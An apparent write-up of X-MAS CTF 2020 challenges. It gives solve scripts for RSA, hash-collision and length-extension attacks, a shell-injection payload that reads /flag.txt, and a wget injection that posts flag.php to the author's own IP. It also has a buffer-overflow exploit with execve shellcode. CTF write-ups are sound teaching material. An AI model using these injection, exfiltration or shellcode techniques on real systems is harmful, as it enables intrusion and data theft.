Try   HackMD

X-MAS CTF 2020 - notice us tux

Scrambled Carol

Crypto

We are provided with a bunch of jumbled hex and a source. Looking at the code, the code takes the hex of an input.txt and substitutes it with a substitution cipher.
Since we are provided quite a lot of text, we can perform frequency analysis. So I downloaded the bee movie script and wrote some python to translate it into hex and just looked at the frequencies. I sorta guessed some based on well known words, and uncovered the flag.

O holy night! The stars are brightly shining,
...
This carol was encoded to garbage by HTsP gang.
The flag is xmaswasneverasgoodasitisthisyear

Santa's Public Key Factory

Crypto

We are provided with a connection, nc challs.xmas.htsp.ro 1000, and a source. The source shows we are allowed 256 queries to get a ciphertext of a secret message in rsa, and each query generates a new public key. It also prints out the modulus.
When playing around with the challenge, I noticed all the different moduli were very similar. Downloading a local copy of the source and checking the gcd of each n, I found that we can extract some primes, and therefore decrypt the rsa.
I then wrote a script that queries the connection, recieves n, appends it to a list, and calculates the gcd with every other n retrieved. If the gcd is not 1, then we have a hit and we can decrypt the flag.

from pwn import remote from binascii import hexlify, unhexlify from hashlib import sha256 import sys def main(): io = remote("challs.xmas.htsp.ro", 1000) proofow = io.recvline().decode().strip() end = proofow[-5:] c = 0 while True: if end == sha256(bytes(str(c).encode())).hexdigest()[-5:]: io.sendline(hexlify(bytes(str(c).encode()))) io.recvline() break c += 1 io.recv() io.recv() encs = [] for i in range(256): io.sendline(b"1") q = io.recv() encs.append([int(q.decode().split("\n")[0][38:-1], 16), int(q.decode().split("\n")[2][3:])]) if len(encs) > 1: for i in encs[:-1]: if egcd(i[1], encs[-1][1])[0] != 1: p = egcd(i[1], encs[-1][1])[0] c = int(i[0]) n = int(i[1]) q = n // p tot = (p-1)*(q-1) d = int(modinv(65537, tot)) m = pow(c, d, n) io.sendline(b"2") io.recv() io.sendline(hex(m)[2:]) print(io.recv().decode().split("Here's your flag: ")[-1]) exit() return encs def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m if __name__ == "__main__": sys.setrecursionlimit(1000000) main()

Running this, we get the flag: X-MAS{M4yb3_50m3__m0re_r4nd0mn3s5_w0u1d_b3_n1ce_eb0b0506}.

Help a Santa Helper?

Crypto

For this challenge we were provided with a source and connection (nc challs.xmas.htsp.ro 1004). Looking at the source, we see that we have some home rolled crypto.
We are supposed to make one request to the hash and then find a collision.
The way the hash works is it takes blocks and performs AES on them and combines them, in a sort-of CBC like manner.

H=BiAES(HBi) where
H
is the hash and
Bi
is the block. Now, they used an IV of 0, which means
H=B0AES(0B0)
If we plug in
0
for
B0
, then we get
H=B0AES(0)H=AES(0)
The AES uses an unknown key so we cannot decrypt the AES. Lets try adding another block!
H=B1AES(AES(0)B1)

If we plug in
AES(0)
as
B1
, we get a nice hash!
H=AES(0)AES(AES(0)AES(0))H=AES(0)AES(0)H=0

The hash is now equal to the IV! If we just concatenate another block of 0s, we should get
H=AES(0)
. Therefore,
H(0)=H(0+AES(0)+0)H(0)=AES(0)

And there we go! A collision after requesting 1 value, namely
H(0)
. I wrote a script, but its short enough to do it by hand.

from pwn import remote from binascii import hexlify, unhexlify from hashlib import sha256 import sys def main(): io = remote("challs.xmas.htsp.ro", 1004) proofow = io.recvline().decode().strip() end = proofow[-5:] c = 0 while True: if end == sha256(bytes(str(c).encode())).hexdigest()[-5:]: io.sendline(hexlify(bytes(str(c).encode()))) io.recvline() break c += 1 io.sendline(b"1") io.recvuntil(b"Give me a message.\n") io.sendline(hexlify(bytes(16))) hash = io.recv().decode().split("hash: b'")[-1].split("'.")[0].encode() io.sendline(b"2") io.recv() io.sendline(hexlify(bytes(16))) io.recv() io.sendline(hexlify(bytes(16)) + hash + hexlify(bytes(16))) print(io.recv().decode()) if __name__ == "__main__": main()

And we get the flag: X-MAS{C0l1i5ion_4t7ack5_4r3_c0o1!_4ls0_ch3ck_0u7_NSUCRYPTO_fda233}

Lost List

Crypto

We are provided with a packet capture and a connection, nc challs.xmas.htsp.ro 1002. The packet capture shows what looks like a shell with an encrypted (or hashed) message, namely
53616e74612773313333374956343230ab0c288b0ae26eaf8adbcf00bddf35fa.
Decoding with hex we find
Santa's1337IV420\xab\x0c(\x8b\n\xe2n\xaf\x8a\xdb\xcf\x00\xbd\xdf5\xfa.
This shows an IV and a ciphertext, and we assume its AES. The output of the message looks like the ls command and we can see the file structure.

key.py
main.py
naughty
nice

We assume that it is AES-CBC with PKCS7 padding. We know that it is only one block of AES, so

C=AES(IVP)
Now, we know what
IV
and
P
are. Because we can send any
IV
and any
P
, we can create
IVP=IVP

We can send
IV+P
to get a correct ciphertext. Therefore,
IV=IVPP

Finally, looking at the file structure, we know that there is a file called nice, so we can echo that out (Just a random choice, we couldve chosen any file).
Writing a script to do this for us and piping it into the connection gets us the flag.

from Crypto.Util.Padding import pad def xor(s1, s2): result = bytearray() for a,b in zip(s1, s2): result.append(a ^ b) return result def main(s): original = bytes.fromhex('53616e74612773313333374956343230ab0c288b0ae26eaf8adbcf00bddf35fa') plaintext_original = pad(b'ls', 16) santaiv = original[:16] ciphertext = original[-16:] plaintext = s plaintext = pad(plaintext, 16) result = xor(plaintext, xor(plaintext_original, santaiv)) final = result.hex() + ciphertext.hex() print(final) if __name__ == "__main__": main(b"echo $(<nice)")

Finally, run python3 solve.py | nc challs.xmas.htsp.ro 1002.
Flag: X-MAS{s33ms_1ik3_y0u_4r3_0n_7h3_1is7_700_h0_h0_h0}

Too Low Voltage

Crypto

Another RSA challenge! We are provided with the source and the connection again (nc challs.xmas.htsp.ro 1006).
The challenge allows us to sign 63 messages using RSA-CRT, and then forge a signature. We are provided with n and e.
The name of the challenge implies that this is a RSA-CRT fault attack. By querying and checking signatures, we can verify that sometimes the signatures are off.
Because of the properties of CRT signatures, we know that if a faulty signature occurs, then we can recover a prime using

p=gcd(sem,n)
To look at the reason behind this, check out this. Once we recover p, we can get the private key, and then forge a signature. Writing up a script for this,

from pwn import remote from binascii import hexlify, unhexlify from hashlib import sha256 import sys import random def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m def main(): io = remote("challs.xmas.htsp.ro", 1006) proofow = io.recvline().decode().strip() end = proofow[-5:] c = 0 while True: if end == sha256(bytes(str(c).encode())).hexdigest()[-5:]: io.sendline(hexlify(bytes(str(c).encode()))) io.recvline() break c += 1 io.recv() r = io.recv() n = int(r.decode().split("\n")[5][2:], 16) e = int(r.decode().split("\n")[6][2:], 16) for i in range(63): m = random.randint(100000000, 999999999) s = retrieve(io, m) v = verify(n, e, s, m) if not v: print("Found faulty signature! ") break p = egcd(s**e - m, n)[0] q = n // p tot = (p-1)*(q-1) d = modinv(e, tot) io.sendline(b"2") M = int(io.recv().decode().split("message: b'")[-1].split("'")[0], 16) forgery = hex(pow(M, d, n))[2:] io.sendline(forgery) print(io.recv().decode()) def retrieve(io, m): io.sendline(b'1') io.recv() io.sendline(bytes(hex(m)[2:].encode())) s = io.recv().decode().split("Here's the signature: ")[-1].split("\n\nChoose")[0] return int(s, 16) def verify(n, e, s, m): return pow(s, e, n) == m if __name__ == "__main__": main()

Flag: X-MAS{Oh_CPU_Why_h4th_th0u_fors4k3n_u5_w1th_b3llc0r3__th3_m4th_w45_p3rf3c7!!!_2194142af19aeea4}

Bobi's Whacked

Misc

Searching up Bobi's Whacked on google, we find a youtube channel called Bobi's wHack. Looking at

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
and
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
. These two videos have close captions, and in their transcripts we see the first and last part of the flag. In the about page, we see some hex encoded ascii, and decrypting it we see the middle part.
Flag: X-MAS{nice_thisisjustthefirstpartmiddlepart_congrats}

Santa's Consolation

Web

We get a javascript function called win which takes in a string and gives the flag if it is correct. The source is obfuscated.

console.log("%c██████╗░██╗░░░░░██╗░░░██╗██╗░░░██╗██╗░░██╗\n\██╔══██╗██║░░░░░██║░░░██║██║░░░██║██║░██╔╝\n██████╦╝██║░░░░░██║░░░██║██║░░░██║█████═╝░\n██╔══██╗██║░░░░░██║░░░██║██║░░░██║██╔═██╗░\n██████╦╝███████╗╚██████╔╝╚██████╔╝██║░╚██╗\n╚═════╝░╚══════╝░╚═════╝░░╚═════╝░╚═╝░░╚═╝\n","color: #5cdb95");console.log("🐢 Javascript Challenge 🐢");console.log("Call win(<string>) with the correct parameter to get the flag");console.log("And don't forget to subscribe to our newsletter :D"); function check(s) {const k="MkVUTThoak44TlROOGR6TThaak44TlROOGR6TThWRE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOendYTndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYwRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOEZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3bk13RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThCVE14d0hPMnczTTF3M056d25OMnczTTF3M056dzNOeEVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFBVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04bFRPOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGRUTzhoak44TlROOGR6TThaak44TlROOGR6TThSVE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOenduTXlFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYzRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGhETjhoak44TlROOGR6TThaak44TlROOGR6TThGak14d0hPMnczTTF3M056d25OMnczTTF3M056d25NeUVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFFVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04RkRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYxRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOFZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3WE94RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThkVE84aGpOOE5UTjhkek04WmpOOE5UTjhkek04WlRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITXhFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYza0RmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmMUVUTTAwMDBERVRDQURFUg==";const k1=atob(k).split('').reverse().join('');return bobify(s)===k1;} function bobify(s) {if (~s.indexOf('a') || ~s.indexOf('t') || ~s.indexOf('e') || ~s.indexOf('i') || ~s.indexOf('z')) return "[REDACTED]";const s1 = s.replace(/4/g, 'a').replace(/3/g, 'e').replace(/1/g, 'i').replace(/7/g, 't').replace(/_/g, 'z').split('').join('[]'); const s2 = encodeURI(s1).split('').map(c => c.charCodeAt(0)).join('|');const s3 = btoa("D@\xc0\t1\x03\xd3M4" + s2);return s3;} function win(x){return check(x) ? "X-MAS{"+x+"}" : "[REDACTED]";}

After prettifying, we get

function check(s) { const k = "MkVUTThoak44TlROOGR6TThaak44TlROOGR6TThWRE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOendYTndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYwRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOEZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3bk13RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThCVE14d0hPMnczTTF3M056d25OMnczTTF3M056dzNOeEVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFBVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04bFRPOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGRUTzhoak44TlROOGR6TThaak44TlROOGR6TThSVE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOenduTXlFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYzRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGhETjhoak44TlROOGR6TThaak44TlROOGR6TThGak14d0hPMnczTTF3M056d25OMnczTTF3M056d25NeUVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFFVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04RkRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYxRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOFZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3WE94RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThkVE84aGpOOE5UTjhkek04WmpOOE5UTjhkek04WlRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITXhFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYza0RmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmMUVUTTAwMDBERVRDQURFUg=="; const k1 = atob(k).split('').reverse().join(''); return bobify(s) === k1; } function bobify(s) { if (~s.indexOf('a') || ~s.indexOf('t') || ~s.indexOf('e') || ~s.indexOf('i') || ~s.indexOf('z')) return "[REDACTED]"; const s1 = s.replace(/4/g, 'a').replace(/3/g, 'e').replace(/1/g, 'i').replace(/7/g, 't').replace(/_/g, 'z').split('').join('[]'); const s2 = encodeURI(s1).split('').map(c => c.charCodeAt(0)).join('|'); const s3 = btoa("D@\xc0\t1\x03\xd3M4" + s2); return s3; } function win(x) { return check(x) ? "X-MAS{" + x + "}" : "[REDACTED]"; }

I reversed this within the javascript console, and used a bit of python to split the delimiters at the end. After reversing, we get the flag:
X-MAS{s4n74_w1sh3s_y0u_cr4c1un_f3r1c17}

Cat Clicker

Web

At first glance, this seems like a pretty generic clientside problem. The program itself is simple - you click the cat to get cats(the currency) which you use to buy the flag. However, we're limited to only 12 cats. And the real flag costs 13!

Before the hint dropped, we couldn't figure out how to solve it. The hint, however, (kinda) told us that .git was exposed. Using GitTools we can download the entire git folder.

In the git folder, we can recover the problem source code by just doing git stash in the directory.

Looking through the source, we can see that when starting a new game, the current game state is stored in a string in the form of <max num of cats> | <curr num cats>. We also see that it calls a function called hashFor and passes the state string to it.

function hashFor($state) { $secret = getenv("SECRET_THINGY"); // 64 random characters - impossible to guess $s = "$secret | $state"; return md5($s); }

So it seems that we have to forge a hash somehow - but we don't know the secret?
Lets look into the code run when we try to buy something first.

<?php include('helper.php'); $state = $_POST['state']; $hash = $_POST['hash']; $itemId = $_POST['item_id']; if(!isset($state) || !isset($hash) || !isset($itemId) || !verifyState($state, $hash, true) || ($itemId !== "1" && $itemId !== "2")) { echo json_encode(array('success' => false)); die(); } $cats = getCatsNo($state); $item = ""; $ok = true; if($itemId === "1") { if($cats >= 1) { $cats -= 1; $item = "FAKE-X-MAS{fake-flag-dont-submit-signed-yakuhito}"; } else { $ok = false; } } else { if($cats >= 13) { $cats = 1337; $item = getenv("FLAG"); } else { $ok = false; } } $parentsLimit = getParentsLimit($state); $newState = "$parentsLimit | $cats"; $newHash = hashFor($newState); if($ok === true) { echo json_encode(array('state' => $newState, 'hash' => $newHash, 'success' => $ok, 'item' => $item)); } else { echo json_encode(array('success' => false)); } ?>

^ buy.php
As we can see, it doesn't actually check if we exceed the limit for the amount of cats we're supposed to be able to have, which comes in handy for the next step.

My first guess was a md5 hash collision because of how the helper functions work.

<?php function hashFor($state) { $secret = getenv("SECRET_THINGY"); // 64 random characters - impossible to guess $s = "$secret | $state"; return md5($s); } function verifyState($state, $hash) { return $hash === hashFor($state); } function getCatsNo($state) { $arr = explode(" | ", $state); return intval(end($arr)); } function getParentsLimit($state) { $arr = explode(" | ", $state); return intval(reset($arr)); } ?>

As you can see, the program gets the number of cats you have not by index after exploding, but just the last element in the array. Since we control the data(mostly) if we slap garbage between the secret key and the number of cats and just delimit it with | we should be able to put in our own number of cats. Since chosen prefix attacks have a bunch of garbage, this is perfect.

However, you need to know the shared prefix in order to do a shared prefix attack(duh lol).

Whoops.

After banging my head against my desk, I got a tip from my teammate(solly) who suggested that it might be a length extension attack. (TLDR for the article;md5 broken - put in \x80 and a bunch of nullbytes and you trick the padding algorithm it uses)

Upon searching up length extension attacks, I found a python module that does it for you.

import hashpumpy import requests import urllib.parse # adding an extra ` | ` because the hashFor function adds that on the front '''function hashFor($state) { $secret = getenv("SECRET_THINGY"); // 64 random characters - impossible to guess $s = "$secret | $state"; return md5($s); }''' # lets use the hash and state for when we have 12 cats and set the new cats equal to 13 hash,message = hashpumpy.hashpump('9579729592f72a075bb61f63b8ea238e', ' | 12 | 12', ' | 13', 64) message = message[3::] print(f"New hash is {hash}") print(f"New message is {message}") r = requests.post("http://challs.xmas.htsp.ro:3003/api/buy.php", {"state": message, "hash": hash, "item_id":2}) print(urllib.parse.quote_plus(message)) print(r.text)

Slap in information we already have(an existing hash, the known data, the length of the secret key) and we get a valid hash of our new state with our new number of cats tacked on the end. Send that to the server and you get the flag.

Flag: X-MAS{1_h4v3_s0_m4ny_c4t5_th4t_my_h0m3_c4n_b3_c0ns1d3r3d_4_c4t_sh3lt3r_aaf30fcb4319effa}

Thou shall pass

Rev

The trick with this challenge is that it overwrites entries in the PLT, causing LIBC functions to have different behaviors than normal.

  • strchr is overwritten with a function (fake_strchr) that rotates each byte in the 30-byte array left by the number of times specified.
  • system XORs each byte with its index + 5.
  • strrchr rotates each byte right by the number of times specified.
  • strcmp XORs each byte in the first argument with 0x0a, and compares the two arguments using strncmp.

To get the flag, I had to undo the XOR and rotation operations.

Ghidra output:

undefined8 main(void) { int iVar1; char buf [31]; check_for_ptrace_and_setup_fake_functions(); puts("Thou shall not pass till thou say the code"); fgets(buf,0x1f,stdin); /* rotate each byte left 3 */ strchr(buf,3); /* xor each byte with i+5 */ system(buf); /* rotate each byte right 2 */ strrchr(buf,2); /* xor each byte with 0xa and compare */ iVar1 = strcmp(buf,(char *)BYTE_ARRAY_00404080); if (iVar1 == 0) { puts("Thou shall pass! Or maybe not?"); } else { puts("Thou shall not pass! Or shall you? "); } return 0; } void check_for_ptrace_and_setup_fake_functions(void) { long lVar1; lVar1 = ptrace(PTRACE_TRACEME,0); if (lVar1 < 0) { printf("Pls no"); /* WARNING: Subroutine does not return */ exit(1); } setup_fake_functions(); return; } void setup_fake_functions(void) { PTR_system_00404028 = fake_system; PTR_strchr_00404030 = fake_strchr; PTR_strrchr_00404040 = fake_strrchr; PTR_strcmp_00404050 = fake_strcmp; return; } void fake_strchr(char *str,int x) { ulong uVar1; int j; int i; uVar1 = (ulong)(long)x / 7; uVar1 = ((long)x - uVar1 >> 1) + uVar1 >> 2; i = 0; while (i < 0x1e) { j = 0; while (j < x - ((int)(uVar1 << 3) - (int)uVar1)) { /* rotate left */ str[i] = str[i] * '\x02' | (byte)str[i] >> 7; j += 1; } i += 1; } return; } ulong fake_strcmp(char *a,char *b) { int iVar1; int i; i = 0; while (i < 0x1e) { a[i] = a[i] ^ 10; i += 1; } iVar1 = strncmp(a,b,0x1f); return (ulong)(iVar1 == 0); } /* other fake_* functions omitted for brevity, can add upon request */ BYTE_ARRAY_00404080 XREF[1]: main:0040150d(*) 00404080 fb d1 51 8a db[30] ee 7e 54 69 9b 6f 77 b0 00404080 [0] FBh, D1h, 51h, 8Ah 00404084 [4] EEh, 7Eh, 54h, 69h 00404088 [8] 9Bh, 6Fh, 77h, B0h 0040408c [12] 80h, EEh, 70h, C1h 00404090 [16] 29h, 67h, 71h, E4h 00404094 [20] 9Ch, EAh, 72h, EDh 00404098 [24] 93h, 5Fh, 11h, EAh 0040409c [28] A4h, 78h

Script:

s = "fb d1 51 8a ee 7e 54 69 9b 6f 77 b0 80 ee 70 c1 29 67 71 e4 9c ea 72 ed 93 5f 11 ea a4 78" def rol(x, i, n): return (x << i) % (2**n) | (x >> (n-i)) def ror(x, i, n): return (x >> i) | ((x << (n-i)) % (2**n)) l = [int(x, 16) for x in s.split()] print(''.join(chr(ror(rol(x ^ 0xa, 2, 8) ^ (i+5), 3, 8)) for i, x in enumerate(l)))

Flag: X-MAS{N0is__g0_g3t_th3_points}

Complaint

Misc

Do you want to file a formal complaint? Use this address and we'll take care of redirecting it to /dev/null.

It does something like this: system(printf_stuff("echo %s > /dev/null", input)), so we can use shell injection.

Payload: ; base64 /flag.txt # (I'm not 100% sure if this is the command I used, but this works and it might've been.)

Output: WC1NQVN7aDNsbDBfazRyM24tODgxOWQ3ODdkZDM4YTM5N30K

Flag: X-MAS{h3ll0_k4r3n-8819d787dd38a397}

PMB

Misc

The challenge gives you a starting balance of $1000, and asks you to enter an interest rate with abs(x) < 100, and alternates multiplying your balance by the interest rate, and subtracting your current balance from your balance.

  • If you enter e.g. 99, you end up with $1000 =*> $99000.0 =-> $0.0 =*> $0.0 =-> $0.0 =*> $0.0 =-> $0.0
  • But If you enter e.g. -99, you end up with $1000 =*> $-99000.0 =-> $-99000.0 =*> $9801000.0 =-> $0.0 =*> $0.0 =-> $0.0. Hmm
  • If you enter NaN, you end up with $1000 =*> $(nan+nanj) =-> $(nan+nanj) =*> $(nan+nanj) =-> $(nan+nanj) =*> $(nan+nanj) =-> $(nan+nanj). In Python, j is used to denote the imaginary part of complex numbers.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • If you enter 99i, you get an error message because Python.
  • If you enter 99j, you get $1000 =*> $99000j =-> $99000j =*> $-9801000.0 =-> $-9801000.0 =*> $(-0-970299000j) =-> $(-0-970299000j) =*> $96059601000.0, which is greater than $10 million, and you get the flag.

Flag: X-MAS{th4t_1s_4n_1nt3r3st1ng_1nt3r3st_r4t3-0116c512b7615456}

PHP Master

Web

Challenge source code, displayed when we view the page:

<?php include('flag.php'); $p1 = $_GET['param1']; $p2 = $_GET['param2']; if(!isset($p1) || !isset($p2)) { highlight_file(__FILE__); die(); } if(strpos($p1, 'e') === false && strpos($p2, 'e') === false && strlen($p1) === strlen($p2) && $p1 !== $p2 && $p1[0] != '0' && $p1 == $p2) { die($flag); } ?>

Explanation of the checks:

  • strpos($p1, 'e') === false && strpos($p2, 'e') === false: no exponential notation allowed
  • strlen($p1) === strlen($p2): strings must have the same length
  • $p1 !== $p2: strings must not be identical
  • $p1[0] != '0': first string must not start with 0
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • $p1 == $p2: the inputs must compare equal according to PHP's equality operator (see https://www.php.net/manual/en/language.operators.comparison.php

Since it uses PHP's equality operator, we can use 1. and 01, which compare as numbers, and are therefore equal.

Flag: X-MAS{s0_php_m4ny_skillz-69acb43810ed4c42}

Flag checker

Web

We are given a website, which displays the source code.

<?php /* flag_checker */ include('flag.php'); if(!isset($_GET['flag'])) { highlight_file(__FILE__); die(); } function checkFlag($flag) { $example_flag = strtolower('FAKE-X-MAS{d1s_i\$_a_SaMpL3_Fl4g_n0t_Th3_c0Rr3c7_one_karen_l1k3s_HuMu5.0123456789}'); $valid = true; for($i = 0; $i < strlen($flag) && $valid; $i++) if(strpos($example_flag, strtolower($flag[$i])) === false) $valid = false; return $valid; } function getFlag($flag) { $command = "wget -q -O - https://kuhi.to/flag/" . $flag; $cmd_output = array(); exec($command, $cmd_output); if(count($cmd_output) == 0) { echo 'Nope'; } else { echo 'Maybe'; } } $flag = $_GET['flag']; if(!checkFlag($flag)) { die('That is not a correct flag!'); } getFlag($flag); ?>

We noticed that strpos did not specify a location, so this means that the check on the flag will evaluate to true if we only use characters from the fake flag. Then, we can craft a payload to inject into the wget command to send flag.php to wherever we will recieve it. Our final payload was ?flag=${IFS}--post-file${IFS}flag.php${IFS}[IP ADDRESS], and we were listening for input.
Flag: X-MAS{s0_fL4g_M4ny_IFS_bb69cd55f5f6}

Naughty?

Binary Exploitation

Looking at the checksec output from pwntools, it's immediately clear that the challenge binary has some unusual security settings:


Pretty much the entire output is red, with highlights like "NX disabled", "No canary", and "No PIE".
This immediately implies that the challenge has some usage of a buffer overflow and shellcode, since usually NX is enabled on a binary which prevents execution of shellcode on the stack.
Opening up the binary in Ghidra, we can see the following fairly simple decompilation (the main function is the first argument to __libc_start_main in the entry function):

undefined8 main(void) { char buffer [46]; ushort canary; setvbuf(stdin,(char *)0x0,2,0); setvbuf(stdout,(char *)0x0,2,0); canary = 0xe4ff; puts("Tell Santa what you want for XMAS"); fgets(buffer,0x47,stdin); puts("Nice. Hope you haven\'t been naughty"); if (canary != 0xe4ff) { puts("Oh no....no gifts for you this year :(("); /* WARNING: Subroutine does not return */ exit(0); } return 0; }

While the buffer variable is 46 bytes in length, the fgets allows us to read in up to 0x47 (71 decimal) bytes, so it's a standard buffer overflow vulnerability.
There also appears to be a variable that serves as a sort of stack canary, exiting the program when it is mangled by the buffer overflow.
I would generally use pwntool's cyclic module to find the offset of the return address, but in this case I just decided to look at the output in Ghidra's disassembler:

The Stack[offset] sequence is relative to the return address of the stack frame, so our payload will end up looking like this:
46 bytes + 0xe4ff (2 bytes) + 8 bytes (0xa-2 to account for length) + return address (8 bytes) + 7 bytes
If we use the usual jmp rsp trick to execute our shellcode that's right after the return buffer, we have too little space to create any kind of useable shellcode. We can use these 7 bytes to create a small stager shellcode that jmps execution back to the start of our buffer, where we can put our real shellcode that easily fits within 46 bytes.
One thing to note is that the 0xe4ff value used as the canary isn't actually random: it represents the jmp rsp instruction that we need. Since this value is specifically checked for in the code, it's actually directly present in the program's code:


Note the raw instruction bytes 66 81 7d fe ff e4, which contain ffe4 whose address we can use as our return address.
If you didn't notice this, you could search the binary for the assembled jmp rsp using pwntool's ELF module and find the same address:

The last part of our payload is the shellcode, which you can easily find online or create using pwntool's shellcraft module. I had trouble with the latter option being inefficient and I like assembly, so I just opted to create my own:

global _start section .text _start: mov rdi, `/bin/sh\x00` push rdi mov rdi, rsp ; filename: arg1 xor rsi, rsi ; argv; arg2 xor rcx, rcx ; argv; arg3 xor rax, rax mov al, 59 syscall

If you want to create your own shellcode, this page from the Chromium OS docs is very helpful for identifying syscall numbers.
This shellcode loads an address to the string "/bin/sh" into rdi (the first argument register), nulls out the other argument registers, and then calls the execve syscall to launch a shell. Our only bad byte restriction comes from fgets: the newline byte (0xa) which doesn't really come up often in shellcode, so I just ignored it and it ended up alright.
I used the following commands to get a hex version of the raw assembly that I could copy into my program for loading:

nasm -felf64 shellcode.asm # assemble to object file
ld --oformat=binary shellcode.o
xxd -p a.out | tr -d '\n'

Combining all of this information together, I created the following exploit script:

from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] path = './chall' e = ELF(path) jmp_rsp = asm('jmp rsp') jmp_rsp = next(e.search(jmp_rsp)) shellcode = bytes.fromhex('48bf2f62696e2f736800574889e74831f64831c94831c0b03b0f05') payload = shellcode payload += b'A' * (46 - len(shellcode)) # padding to end of buffer payload += p16(0xe4ff) payload += b'A' * (0xa - 2) # padding to return address, accounting for length of variable payload += p64(jmp_rsp) payload += b'\xeb' + p8((-len(payload)-2) % 256) # have to subtract 2 since rip + offset starts after the jmp #p = gdb.debug(path) p = remote('challs.xmas.htsp.ro', 2000) p.sendline(payload) p.interactive()

I got some information on how to format the short relative jump instruction from this website.
Running this payload, we obtain the a shell on the server, and can print /home/ctf/flag.txt.

Flag: X-MAS{sant4_w1ll_f0rg1ve_y0u_th1s_y3ar}

Ready for Xmas?

Binary Exploitation

Based on the challenge description, we can guess that it'll probably be another buffer overflow vulnerability.
The checksec seems to somewhat confirm this with the lack of a stack canary:

Opening the binary in ghidra and doing some cleanup, we get the following decompilation:

undefined8 main(void) { char *search; char buffer [64]; setvbuf(stdin,(char *)0x0,2,0); setvbuf(stdout,(char *)0x0,2,0); if (DAT_00601099 != '\0') { /* WARNING: Subroutine does not return */ exit(0); } memset(s_cat_flag_00601068,0,9); puts("Hi. How are you doing today, good sir? Ready for Christmas?"); gets(buffer); search = strstr(buffer,"sh"); if (search == (char *)0x0) { search = strstr(buffer,"cat"); if (search == (char *)0x0) { DAT_00601099 = 1; mprotect(&DAT_00601099,1,1); return 0; } } /* WARNING: Subroutine does not return */ exit(0); }

The program seems to check the input given with some extra checks, exiting if it reads the substrings "sh" or "cat".
If needed, it's very easy to bypass these checks simply by putting a null byte at the beginning of our input, since the functions used to read the buffer require c-strings to be passed to function properly.
The use of the gets function is an obvious vulnerability (due to the fact that it allows for an unbounded write), so it's pretty clear that this is indeed a buffer overflow challenge.
It also looks like the binary tries to mark the .bss section as read-only through the mprotect call. I'm not sure whether it was intended or not, but if we look at what the memprotect returns (using a breakpoint in GDB), it actually errors:


